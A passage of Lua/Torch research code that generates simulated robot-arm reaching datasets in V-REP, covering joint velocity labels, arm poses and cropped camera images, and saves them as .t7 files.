completion = true
end
local low_dim_features = self:outputLowDimTensor(self.left_joint_position, position)
v_sample_index = v_sample_index + 1
current_arm_pose_temp[v_sample_index] = table.copy(self.left_joint_position)
vel_cmd_temp[v_sample_index] = table.copy(vel)
low_dim_s_temp[v_sample_index] = low_dim_features
-- image_v_temp[v_sample_index] = im
label_v_temp[v_sample_index] = table.copy(vel)
-- print("pose: ", torch.Tensor(current_arm_pose_temp[v_sample_index]))
-- print("low s: ", low_dim_s_temp[v_sample_index])
-- print("vel cmd: ", torch.Tensor(label_v_temp[v_sample_index]))
-- win_input1 = image.display{image=image_v_temp[v_sample_index], win=win_input1}
self:ctrlSpeedContinuous(vel)
local collision, reached = self:getMeasurements()
-- print("collision: ", collision)
-- print("reached: ", reached)
if collision then
termination = true
completion = false
print("====== Hit obstacles ======")
print("k: ", k)
print("Sample: ", sample_index)
end
-- print("termination: ", termination)
-- print("completion: ", completion)
-- print("low dim features: ", low_dim_features)
-- print("Step cost: ", step - ttttt)
-- ttttt = step
end
local position_e = self.vrep:getObjectPosition(self.left_gripper, self.robot_base)
target_pose_e[sample_index] = table.copy(position_e)
self.vrep:enableJointPositionCtrl()
if completion then
-- print("Final reward: ", reward)
local n_v_sample = #current_arm_pose_
for i=1,v_sample_index do
current_arm_pose_[n_v_sample+i] = current_arm_pose_temp[i]
vel_cmd_[n_v_sample+i] = vel_cmd_temp[i]
low_dim_s_[n_v_sample+i] = low_dim_s_temp[i]
-- image_v_[n_v_sample+i] = image_v_temp[i]
label_v_[n_v_sample+i] = label_v_temp[i]
low_dim_s_e[n_v_sample+i] = self:outputLowDimTensor(current_arm_pose_temp[i], position_e)
-- print("vel low dim s: ", low_dim_s_[n_v_sample+i])
-- print("vel low dim s e: ", low_dim_s_e[n_v_sample+i])
-- print("vel: ", torch.Tensor(label_v_[n_v_sample+i]))
end
-- print("pose: ", torch.Tensor(current_arm_pose_[n_v_sample+v_sample_index]))
-- print("low s: ", low_dim_s_[n_v_sample+v_sample_index])
-- print("vel cmd: ", torch.Tensor(label_v_[n_v_sample+v_sample_index]))
end
-- Visualize images and output results
-- if display then
-- win_input1 = image.display{image=image_[sample_index], win=win_input1}
-- win_input2 = image.display{image=cropped_image, win=win_input2}
-- end
print("=====================================")
print("Case Index: ", sample_index)
print("Sample Index: ", #current_arm_pose_)
-- print("Label V: ", torch.Tensor(label_v_[#label_v_]))
if sample_index%50 == 0 then
print("Cases Collected: ", sample_index)
print("Sample Collected: ", #low_dim_s_)
local filename_0 = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/case_dataset"
filename_0 = filename_0 .. average_accuracy .. "_" .. k
torch.save(filename_0 .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
sample_amount = sample_index,
average_accuracy = average_accuracy,
num_x = num_x,
num_y = num_y,
num_z = num_z})
filename_0 = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/control_dataset"
filename_0 = filename_0 .. average_accuracy .. "_" .. k
torch.save(filename_0 .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
arm_pose = current_arm_pose_,
low_dim_s = low_dim_s_,
low_dim_s_e = low_dim_s_e,
label = label_v_,
vel_cmd = vel_cmd_,
sample_amount = #low_dim_s_})
filename_0 = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/no_config_cases"
filename_0 = filename_0 .. average_accuracy .. "_" .. k
torch.save(filename_0 .. ".t7", {target_pose = no_config_target,
low_dim_s = no_config_low_dim_s,
label = no_config_vel,
vel_cmd = no_config_vel,
sample_amount = no_config_index})
end
end
end
end
-- Get the dimensionality of each element in the dataset
-- local image_dim = image_[1]:size()
local label_dim = #label_[1]
-- Save the dataset to a t7 file
local filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/case_dataset"
filename_ = filename_ .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
sample_amount = sample_index,
average_accuracy = average_accuracy,
num_x = num_x,
num_y = num_y,
num_z = num_z})
print('Case dataset generated:', filename_ .. '.t7')
filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/control_dataset"
filename_ = filename_ .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
arm_pose = current_arm_pose_,
low_dim_s = low_dim_s_,
low_dim_s_e = low_dim_s_e,
label = label_v_,
vel_cmd = vel_cmd_,
sample_amount = #low_dim_s_})
print('Control dataset generated:', filename_ .. '.t7')
filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/no_config_cases"
filename_ = filename_ .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {target_pose = no_config_target,
low_dim_s = no_config_low_dim_s,
label = no_config_vel,
vel_cmd = no_config_vel,
sample_amount = no_config_index})
print('No config case dataset generated:', filename_ .. '.t7')
print("Dataset Property: \n")
-- print("image_dim: \n", image_dim)
print("label_dim: \n", label_dim)
print("case amount: ", sample_index)
print("vel simple amount: ", #low_dim_s_)
print("no config case amount: ", no_config_index)
print("accuracy: ", average_accuracy)
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_z: ", num_z)
io.flush()
collectgarbage()
end
end
-- Generate a dataset for perception
function dctrl:generate_control_dataset_off_vel(display)
-- local self_collision_allowance = {0.88, 0.88, 0.96}
-- local pos_min = {0.1, -0.2625, 0.025}
-- local pos_max = {0.7, 0.2625, 0.025}
local pos_min = table.copy(self.target_pose_min)
local pos_max = table.copy(self.target_pose_max)
local average_accuracy = 0.03
-- local average_accuracy = 0.2
-- local rand_scalar = 2 * average_accuracy
self:setCameraPose(false)
print("Generating samples ...... ")
local target = {0.1, -0.2625, 0.025}
local num_x = math.floor((pos_max[1] - pos_min[1])/average_accuracy + 0.5)
local num_y = math.floor((pos_max[2] - pos_min[2])/average_accuracy + 0.5)
local num_z = math.floor((pos_max[3] - pos_min[3])/average_accuracy + 0.5)
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_z: ", num_z)
for k=0,num_z do
local label_ = {}
local target_pose_ = {}
local desired_pose_ = {}
local initial_arm_pose_ = {}
local current_arm_pose_ = {}
local vel_cmd_ = {}
local low_dim_s_ = {}
local label_v_ = {}
local low_dim_s_e = {} -- the low dim state for the ultimate 3DoF end-effector position
local target_pose_e = {}
local no_config_target = {}
local no_config_low_dim_s = {}
local no_config_vel = {}
local sample_index = 0
local no_config_index = 0
for i=1,num_x do
for j=1,num_y do
target[1] = pos_min[1] + (i-1 + torch.rand(1)[1]) * average_accuracy
if target[1] > pos_max[1] then
target[1] = pos_max[1]
end
target[2] = pos_min[2] + (j-1 + torch.rand(1)[1]) * average_accuracy
if target[2] > pos_max[2] then
target[2] = pos_max[2]
end
target[3] = pos_min[3] + (k-1 + torch.rand(1)[1]) * average_accuracy
if target[3] > pos_max[3] then
target[3] = pos_max[3]
end
self:randTablePose(true)
local table_position = self.vrep:getObjectPosition(self.table_top, self.robot_base)
-- print("Table Position: ", torch.Tensor(table_position))
if k==0 or target[3] < table_position[3] then
target[3] = table_position[3] + 0.0325
end
local init_pose = self:initArmPose()
local target_orien = self:randTargetOrientation()
self.vrep:setObjectOrientation(self.cuboid, self.robot_base, target_orien)
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target)
local desired_pose = self.vrep:getDesiredConfig(0.2)
if desired_pose == nil then
local no_target = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
no_target[3] = no_target[3] + self.target_h
no_config_index = no_config_index + 1
no_config_target[no_config_index] = table.copy(no_target)
no_config_low_dim_s[no_config_index] = self:outputLowDimTensor(init_pose, no_target)
no_config_vel[no_config_index] = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
-- print("no_config_target: ", torch.Tensor(no_config_target[no_config_index]))
-- print("no_config_target low s: ", torch.Tensor(no_config_low_dim_s[no_config_index]))
elseif #desired_pose == 0 then
local no_target = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
no_target[3] = no_target[3] + self.target_h
no_config_index = no_config_index + 1
no_config_target[no_config_index] = table.copy(no_target)
no_config_low_dim_s[no_config_index] = self:outputLowDimTensor(init_pose, no_target)
no_config_vel[no_config_index] = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
-- print("no_config_target: ", torch.Tensor(no_config_target[no_config_index]))
-- print("no_config_target low s: ", torch.Tensor(no_config_low_dim_s[no_config_index]))
else
-- print("*******",i)
local pose = self:generateRandPose(init_pose, desired_pose)
local collision, reached = self:detectCollisions()
while collision and not reached do
print("Initial collision happened, filter out !!!!")
pose = self:generateRandPose(init_pose, desired_pose)
collision, reached = self:detectCollisions()
end
local position = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
position[3] = position[3] + self.target_h
pose = self:getArmPose('left')
-- local position_t2e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- Add into the dataset
sample_index = sample_index + 1
-- image_[sample_index] = cropped_image:float():div(255)
-- print(image_[sample_index]:max())
label_[sample_index] = table.copy(position)
desired_pose_[sample_index] = table.copy(desired_pose)
target_pose_[sample_index] = table.copy(position)
initial_arm_pose_[sample_index] = table.copy(pose)
-- Visualize images and output results
-- if display then
-- win_input1 = image.display{image=image_[sample_index], win=win_input1}
-- win_input2 = image.display{image=cropped_image, win=win_input2}
-- end
local current_arm_pose_temp = {}
local vel_cmd_temp = {}
local low_dim_s_temp = {}
local image_v_temp = {}
local label_v_temp = {}
local v_sample_index = 0
local previous_vel = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
local previous_pos = table.copy(pose)
local next_pose = table.copy(pose)
local termination = false
local completion = false
while not termination do
local vel = {}
for i=1,self.n_joint do
vel[i] = desired_pose[i] - previous_pos[i]
if vel[i] > 1.0 then
vel[i] = 1.0
elseif vel[i] < -1.0 then
vel[i] = -1.0
end
end
local vel_sum = torch.Tensor(vel):abs():sum()
-- print("vel sum: ", vel_sum)
-- if vel_sum < 0.01 then
if vel_sum < 0.01 then
vel = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
termination = true
-- completion = true
end
local low_dim_features = self:outputLowDimTensor(previous_pos, position)
v_sample_index = v_sample_index + 1
current_arm_pose_temp[v_sample_index] = table.copy(previous_pos)
vel_cmd_temp[v_sample_index] = table.copy(vel)
low_dim_s_temp[v_sample_index] = low_dim_features
-- image_v_temp[v_sample_index] = im
label_v_temp[v_sample_index] = table.copy(vel)
-- print("pose: ", torch.Tensor(current_arm_pose_temp[v_sample_index]))
-- print("low s: ", low_dim_s_temp[v_sample_index])
-- print("vel cmd: ", torch.Tensor(label_v_temp[v_sample_index]))
-- win_input1 = image.display{image=image_v_temp[v_sample_index], win=win_input1}
-- self:ctrlSpeedContinuous(vel)
-- local current_vel = self:getArmVelocity('left')
-- print("Velocit Cmd: ", torch.Tensor(vel))
-- print("Current Vel: ", torch.Tensor(current_vel))
for i=1,7 do
local real_vel = vel[i] * (1 + 0.1 * (torch.uniform() - 0.5))
next_pose[i] = previous_pos[i] + 0.5 * (real_vel + previous_vel[i]) * self.ctrl_freq_t * 0.001 * (1 + 0.1 * (torch.uniform() - 0.5))
previous_vel[i] = real_vel
previous_pos[i] = next_pose[i]
end
-- self:setArmTargetPose('left',next_pose)
-- for i=1,100 do
-- if torch.Tensor(self:getArmVelocity('left')):abs():sum() < 0.01 then
-- print(i)
-- break
-- elseif i==100 then
-- print("Reaching failed, filter out!!!")
-- end
-- end
end
self:setArmTargetPose('left',next_pose)
for i=1,100 do
if torch.Tensor(self:getArmVelocity('left')):abs():sum() < 0.001 then
-- print(i)
completion = true
break
elseif i==100 then
print("Reaching failed, filter out!!!")
end
end
local collision, reached = self:getMeasurements()
if collision then
completion = false
print("====== Hit obstacles ======")
print("k: ", k)
print("Sample: ", sample_index)
end
local position_e = self.vrep:getObjectPosition(self.left_gripper, self.robot_base)
target_pose_e[sample_index] = table.copy(position_e)
if completion then
-- print("Final reward: ", reward)
local n_v_sample = #current_arm_pose_
for i=1,v_sample_index do
current_arm_pose_[n_v_sample+i] = current_arm_pose_temp[i]
vel_cmd_[n_v_sample+i] = vel_cmd_temp[i]
low_dim_s_[n_v_sample+i] = low_dim_s_temp[i]
-- image_v_[n_v_sample+i] = image_v_temp[i]
label_v_[n_v_sample+i] = label_v_temp[i]
low_dim_s_e[n_v_sample+i] = self:outputLowDimTensor(current_arm_pose_temp[i], position_e)
-- print("vel low dim s: ", low_dim_s_[n_v_sample+i])
-- print("vel low dim s e: ", low_dim_s_e[n_v_sample+i])
-- print("vel: ", torch.Tensor(label_v_[n_v_sample+i]))
end
-- print("pose: ", torch.Tensor(current_arm_pose_[n_v_sample+v_sample_index]))
-- print("low s: ", low_dim_s_[n_v_sample+v_sample_index])
-- print("vel cmd: ", torch.Tensor(label_v_[n_v_sample+v_sample_index]))
end
-- Visualize images and output results
-- if display then
-- win_input1 = image.display{image=image_[sample_index], win=win_input1}
-- win_input2 = image.display{image=cropped_image, win=win_input2}
-- end
print("=====================================")
print("Case Index: ", sample_index)
print("Sample Index: ", #current_arm_pose_)
-- print("Label V: ", torch.Tensor(label_v_[#label_v_]))
if sample_index%50 == 0 then
print("Cases Collected: ", sample_index)
print("Sample Collected: ", #low_dim_s_)
local filename_0 = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/case_dataset_off_vel"
filename_0 = filename_0 .. average_accuracy .. "_" .. k
torch.save(filename_0 .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
sample_amount = sample_index,
average_accuracy = average_accuracy,
num_x = num_x,
num_y = num_y,
num_z = num_z})
filename_0 = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/control_dataset_off_vel"
filename_0 = filename_0 .. average_accuracy .. "_" .. k
torch.save(filename_0 .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
arm_pose = current_arm_pose_,
low_dim_s = low_dim_s_,
low_dim_s_e = low_dim_s_e,
label = label_v_,
vel_cmd = vel_cmd_,
sample_amount = #low_dim_s_})
filename_0 = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/no_config_cases_off_vel"
filename_0 = filename_0 .. average_accuracy .. "_" .. k
torch.save(filename_0 .. ".t7", {target_pose = no_config_target,
low_dim_s = no_config_low_dim_s,
label = no_config_vel,
vel_cmd = no_config_vel,
sample_amount = no_config_index})
end
end
end
end
-- Get the dimensionality of each element in the dataset
-- local image_dim = image_[1]:size()
local label_dim = #label_[1]
-- Save the dataset to a t7 file
local filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/case_dataset_off_vel"
filename_ = filename_ .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
sample_amount = sample_index,
average_accuracy = average_accuracy,
num_x = num_x,
num_y = num_y,
num_z = num_z})
print('Case dataset generated:', filename_ .. '.t7')
filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/control_dataset_off_vel"
filename_ = filename_ .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {object_pose = target_pose_,
end_effector_pose = target_pose_e,
desired_pose = desired_pose_,
init_pose = initial_arm_pose_,
arm_pose = current_arm_pose_,
low_dim_s = low_dim_s_,
low_dim_s_e = low_dim_s_e,
label = label_v_,
vel_cmd = vel_cmd_,
sample_amount = #low_dim_s_})
print('Control dataset generated:', filename_ .. '.t7')
filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/no_config_cases_off_vel"
filename_ = filename_ .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {target_pose = no_config_target,
low_dim_s = no_config_low_dim_s,
label = no_config_vel,
vel_cmd = no_config_vel,
sample_amount = no_config_index})
print('No config case dataset generated:', filename_ .. '.t7')
print("Dataset Property: \n")
-- print("image_dim: \n", image_dim)
print("label_dim: \n", label_dim)
print("case amount: ", sample_index)
print("vel simple amount: ", #low_dim_s_)
print("no config case amount: ", no_config_index)
print("accuracy: ", average_accuracy)
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_z: ", num_z)
io.flush()
collectgarbage()
end
end
function dctrl:generate_images_for_all_ctrl_datasets(name, start_index, end_index)
for i=start_index,end_index do
ctrl_dataset = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/" .. name .. i .. '.t7'
self:generate_images_for_control_dataset(ctrl_dataset, name .. i)
io.flush()
collectgarbage()
end
print("All Control Datasets Finished!!!")
end
-- Generate a dataset for perception
-- TODO: save the images in the trajectory manner, each trajectory in a t7 file
function dctrl:generate_images_for_control_dataset(ctrl_dataset_name, name)
-- Load control dataset
local ctrl_dataset = self:load_pre_constructed_dataset(ctrl_dataset_name)
print("Dataset Loaded: ", ctrl_dataset_name)
local low_dim_s_e = ctrl_dataset.low_dim_s_e
local label = ctrl_dataset.label
local arm_pose = ctrl_dataset.arm_pose
local sample_amount = ctrl_dataset.sample_amount
print("Samples to be generated: ", sample_amount)
print("Generating images ...... ")
local image300 = {}
local image400 = {}
local object_position = {}
local arm_pose_ = {}
local vel = {}
local low_dim_s_e_ = {}
local curr_index = 0
local t7_saved = 0
for i=1,sample_amount do
local target = self:recoverLowDimTensor(low_dim_s_e[i]:narrow(1,8,3))
target = target:totable()
target[3] = target[3] - 0.0325
local target_orien = self:randTargetOrientation()
self.vrep:setObjectOrientation(self.cuboid, self.robot_base, target_orien)
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target)
self:setCameraPose(true)
self:randTablePose(true)
local table_position = self.vrep:getObjectPosition(self.table, self.robot_base)
-- print("Table Position: ", torch.Tensor(table_position))
if table_position[3] > target[3] - 0.0825 then
table_position[3] = target[3] - 0.0825
-- print("Table position calibrated!!!")
end
self.vrep:setObjectPosition(self.table, self.robot_base, table_position)
self:randClutters()
-- local pose = self:initArmPose()
self:setArmTargetPose('left',arm_pose[i])
for i=1,100 do
if torch.Tensor(self:getArmVelocity('left')):abs():sum() < 0.001 then
-- print(i)
completion = true
break
elseif i==100 then
print("Reaching failed, filter out!!!")
end
end
-- local position = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- local position_e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- local position_t2e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
if self.image_format == 'RGB' then
im = self.vrep:getRGBImage(self.right_camera)
else
im = self.vrep:getGreyImage(self.right_camera)
end
local cropped_image300 = image.crop(im,120,20,420,320)
local cropped_image400 = image.crop(im,0,0,400,400)
-- print("Image size: ", cropped_image:size())
-- Add into the dataset
curr_index = curr_index + 1
image300[curr_index] = cropped_image300:float():div(255)
image400[curr_index] = cropped_image400:float():div(255)
object_position[curr_index] = table.copy(target)
arm_pose_[curr_index] = table.copy(arm_pose[i])
vel[curr_index] = table.copy(label[i])
low_dim_s_e_[curr_index] = low_dim_s_e[i]:clone()
-- Visualize images and output results
-- if display then
win_input1 = image.display{image=image300[curr_index], win=win_input1}
win_input2 = image.display{image=image400[curr_index], win=win_input2}
-- end
-- print("=====================================")
-- print("Sample Index: ", curr_index)
-- print("Object Position: ", torch.Tensor(object_position[curr_index]))
-- print("Arm Pose: ", torch.Tensor(arm_pose_[curr_index]))
-- print("Vel: ", torch.Tensor(vel[curr_index]))
-- print("Low Dim S: ", low_dim_s_e_[curr_index])
if curr_index%50 == 0 then
print("Samples Collected: ", curr_index)
end
-- Save the dataset to a t7 file
if curr_index == 3000 or i == sample_amount then
t7_saved = t7_saved + 1
local filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/image300_" .. name .. "_" .. t7_saved
torch.save(filename_ .. ".t7", {image300 = image300,
object_position = object_position,
arm_pose = arm_pose_,
vel = vel,
low_dim_s_e = low_dim_s_e_,
sample_amount = curr_index})
print('Image dataset generated:', filename_ .. '.t7')
filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/image400_" .. name .. "_" .. t7_saved
torch.save(filename_ .. ".t7", {image400 = image400,
object_position = object_position,
arm_pose = arm_pose_,
vel = vel,
low_dim_s_e = low_dim_s_e_,
sample_amount = curr_index})
print('Image dataset generated:', filename_ .. '.t7')
print("Samples Collected: ", curr_index)
image300 = nil
image400 = nil
object_position = nil
arm_pose_ = nil
vel = nil
low_dim_s_e_ = nil
collectgarbage()
image300 = {}
image400 = {}
object_position = {}
arm_pose_ = {}
vel = {}
low_dim_s_e_ = {}
curr_index = 0
end
end
print("One Control Dataset Finished!!!")
end
-- Generate a dataset for perception
function dctrl:generate_test_set(display)
-- local self_collision_allowance = {0.88, 0.88, 0.96}
-- local pos_min = {0.1, -0.2625, 0.025}
-- local pos_max = {0.7, 0.2625, 0.025}
local pos_min = table.copy(self.target_min)
local pos_max = table.copy(self.target_max)
local average_accuracy = 0.1
-- local average_accuracy = 0.2
-- local rand_scalar = 2 * average_accuracy
self:setCameraPose(false)
print("Generating testing samples ...... ")
local target = table.copy(self.target_min)
local num_x = math.floor((pos_max[1] - pos_min[1])/average_accuracy + 0.5)
local num_y = math.floor((pos_max[2] - pos_min[2])/average_accuracy + 0.5)
print("num_x: ", num_x)
print("num_y: ", num_y)
local image300 = {}
local image400 = {}
local object_position = {}
local target_arm_pose = {}
local arm_pose = {}
local sample_index = 0
for i=1,num_x do
for j=1,num_y do
target[1] = pos_min[1] + (i-1 + torch.rand(1)[1]) * average_accuracy
if target[1] > pos_max[1] then
target[1] = pos_max[1]
end
target[2] = pos_min[2] + (j-1 + torch.rand(1)[1]) * average_accuracy
if target[2] > pos_max[2] then
target[2] = pos_max[2]
end
local init_pose = self:initArmPose()
local target_orien = self:randTargetOrientation()
self.vrep:setObjectOrientation(self.cuboid, self.robot_base, target_orien)
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target)
local desired_pose = self.vrep:getDesiredConfig(0.2)
if desired_pose == nil then
print("No desired config, filter out !!!!")
elseif #desired_pose == 0 then
print("No desired config, filter out !!!!")
else
-- print("*******",i)
self:setArmTargetPose('left',desired_pose)
for i=1,100 do
if torch.Tensor(self:getArmVelocity('left')):abs():sum() < 0.001 then
break
elseif i==100 then
print("Reaching failed, filter out!!!")
end
end
local position = self.vrep:getObjectPosition(self.left_gripper, self.robot_base)
position[3] = position[3] - self.target_h
self.vrep:setObjectPosition(self.cuboid, self.robot_base, position)
local pose = self:generateRandPose(init_pose, desired_pose)
local collision, reached = self:detectCollisions()
while collision and not reached do
print("Initial collision happened, filter out !!!!")
pose = self:generateRandPose(init_pose, desired_pose)
collision, reached = self:detectCollisions()
end
self:randClutters()
local im
if self.image_format == 'RGB' then
im = self.vrep:getRGBImage(self.right_camera)
else
im = self.vrep:getGreyImage(self.right_camera)
end
-- TODO develop codes to crop and resize the image
local cropped_image300 = image.crop(im,120,20,420,320)
local cropped_image400 = image.crop(im,0,0,400,400)
-- Add into the dataset
sample_index = sample_index + 1
-- image_[sample_index] = cropped_image:float():div(255)
-- print(image_[sample_index]:max())
image300[sample_index] = cropped_image300:float():div(255)
image400[sample_index] = cropped_image400:float():div(255)
object_position[sample_index] = table.copy(position)
target_arm_pose[sample_index] = table.copy(desired_pose)
arm_pose[sample_index] = table.copy(pose)
-- Visualize images and output results
-- if display then
win_input1 = image.display{image=image300[sample_index], win=win_input1}
win_input2 = image.display{image=image400[sample_index], win=win_input2}
-- end
print("=====================================")
print("Sample Index: ", sample_index)
print("Object Position: ", torch.Tensor(object_position[sample_index]))
print("Target Arm Pose: ", torch.Tensor(target_arm_pose[sample_index]))
print("Arm Pose: ", torch.Tensor(arm_pose[sample_index]))
-- Save the dataset to a t7 file
local filename_ = "image300_test_set_"
filename_ = filename_ .. average_accuracy
torch.save(filename_ .. ".t7", {image = image300,
object_position = object_position,
target_arm_pose = target_arm_pose,
arm_pose = arm_pose,
sample_amount = sample_index})
print('Test dataset saved:', filename_ .. '.t7')
filename_ = "image400_test_set_"
filename_ = filename_ .. average_accuracy
torch.save(filename_ .. ".t7", {image = image400,
object_position = object_position,
target_arm_pose = target_arm_pose,
arm_pose = arm_pose,
sample_amount = sample_index})
print('Test dataset saved:', filename_ .. '.t7')
end
end
end
print("Testset Genration Done")
print("Sample amount: ", sample_index)
print("accuracy: ", average_accuracy)
print("num_x: ", num_x)
print("num_y: ", num_y)
io.flush()
collectgarbage()
end
-- Generate a dataset for perception with domain randomization
-- TODO: to finish
function dctrl:generate_test_set_dr(display)
-- local self_collision_allowance = {0.88, 0.88, 0.96}
-- local pos_min = {0.1, -0.2625, 0.025}
-- local pos_max = {0.7, 0.2625, 0.025}
local pos_min = table.copy(self.target_min)
local pos_max = table.copy(self.target_max)
local average_accuracy = 0.1
-- local average_accuracy = 0.2
-- local rand_scalar = 2 * average_accuracy
self:setCameraPose(false)
print("Generating testing samples ...... ")
local target = table.copy(self.target_min)
local num_x = math.floor((pos_max[1] - pos_min[1])/average_accuracy + 0.5)
local num_y = math.floor((pos_max[2] - pos_min[2])/average_accuracy + 0.5)
print("num_x: ", num_x)
print("num_y: ", num_y)
local image300 = {}
local image400 = {}
local object_position = {}
local target_arm_pose = {}
local arm_pose = {}
local sample_index = 0
for i=1,num_x do
for j=1,num_y do
target[1] = pos_min[1] + (i-1 + torch.rand(1)[1]) * average_accuracy
if target[1] > pos_max[1] then
target[1] = pos_max[1]
end
target[2] = pos_min[2] + (j-1 + torch.rand(1)[1]) * average_accuracy
if target[2] > pos_max[2] then
target[2] = pos_max[2]
end
local init_pose = self:initArmPose()
local target_orien = self:randTargetOrientation()
self.vrep:setObjectOrientation(self.cuboid, self.robot_base, target_orien)
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target)
local desired_pose = self.vrep:getDesiredConfig(0.2)
if desired_pose == nil then
print("No desired config, filter out !!!!")
elseif #desired_pose == 0 then
print("No desired config, filter out !!!!")
else
-- print("*******",i)
self:setArmTargetPose('left',desired_pose)
for i=1,100 do
if torch.Tensor(self:getArmVelocity('left')):abs():sum() < 0.001 then
break
elseif i==100 then
print("Reaching failed, filter out!!!")
end
end
local position = self.vrep:getObjectPosition(self.left_gripper, self.robot_base)
position[3] = position[3] - self.target_h
self.vrep:setObjectPosition(self.cuboid, self.robot_base, position)
local pose = self:generateRandPose(init_pose, desired_pose)
local collision, reached = self:detectCollisions()
while collision and not reached do
print("Initial collision happened, filter out !!!!")
pose = self:generateRandPose(init_pose, desired_pose)
collision, reached = self:detectCollisions()
end
self:randClutters()
local im
if self.image_format == 'RGB' then
im = self.vrep:getRGBImage(self.right_camera)
else
im = self.vrep:getGreyImage(self.right_camera)
end
-- TODO develop codes to crop and resize the image
local cropped_image300 = image.crop(im,120,20,420,320)
local cropped_image400 = image.crop(im,0,0,400,400)
-- Add into the dataset
sample_index = sample_index + 1
-- image_[sample_index] = cropped_image:float():div(255)
-- print(image_[sample_index]:max())
image300[sample_index] = cropped_image300:float():div(255)
image400[sample_index] = cropped_image400:float():div(255)
object_position[sample_index] = table.copy(position)
target_arm_pose[sample_index] = table.copy(desired_pose)
arm_pose[sample_index] = table.copy(pose)
-- Visualize images and output results
-- if display then
win_input1 = image.display{image=image300[sample_index], win=win_input1}
win_input2 = image.display{image=image400[sample_index], win=win_input2}
-- end
print("=====================================")
print("Sample Index: ", sample_index)
print("Object Position: ", torch.Tensor(object_position[sample_index]))
print("Target Arm Pose: ", torch.Tensor(target_arm_pose[sample_index]))
print("Arm Pose: ", torch.Tensor(arm_pose[sample_index]))
-- Save the dataset to a t7 file
local filename_ = "image300_test_set_"
filename_ = filename_ .. average_accuracy
torch.save(filename_ .. ".t7", {image = image300,
object_position = object_position,
target_arm_pose = target_arm_pose,
arm_pose = arm_pose,
sample_amount = sample_index})
print('Test dataset saved:', filename_ .. '.t7')
filename_ = "image400_test_set_"
filename_ = filename_ .. average_accuracy
torch.save(filename_ .. ".t7", {image = image400,
object_position = object_position,
target_arm_pose = target_arm_pose,
arm_pose = arm_pose,
sample_amount = sample_index})
print('Test dataset saved:', filename_ .. '.t7')
end
end
end
print("Testset Genration Done")
print("Sample amount: ", sample_index)
print("accuracy: ", average_accuracy)
print("num_x: ", num_x)
print("num_y: ", num_y)
io.flush()
collectgarbage()
end
function dctrl:sort_real_dataset()
local data400 = self:load_pre_constructed_dataset('image400_real_data_50_3.t7')
local data300 = self:load_pre_constructed_dataset('image300_real_data_50_3.t7')
local data_amount = data300.sample_amount
-- local omit_targets = {26}
-- local omit_targets = {25,26,27}
-- local omit_targets = {70,71,72,85,86,87,94,95,96}
-- local omit_targets = {124,125,126}
local omit_index = 1
local image400 = {}
local image300 = {}
local target_pose = {}
local arm_pose = {}
local low_dim_s_e = {}
local vel = {}
local sample_index = 0
for i=1,data_amount do
if i == omit_targets[omit_index] then
print("One sample filtterd out: ", i)
if omit_index < #omit_targets then
omit_index = omit_index + 1
end
else
self:setArmTargetPose('left',data300.target_arm_pose[i])
for j=1,100 do
if torch.Tensor(self:getArmVelocity('left')):abs():sum() < 0.001 then
local position_e = self.vrep:getObjectPosition(self.left_gripper, self.robot_base)
-- -- Compensate the suction gripper height differences
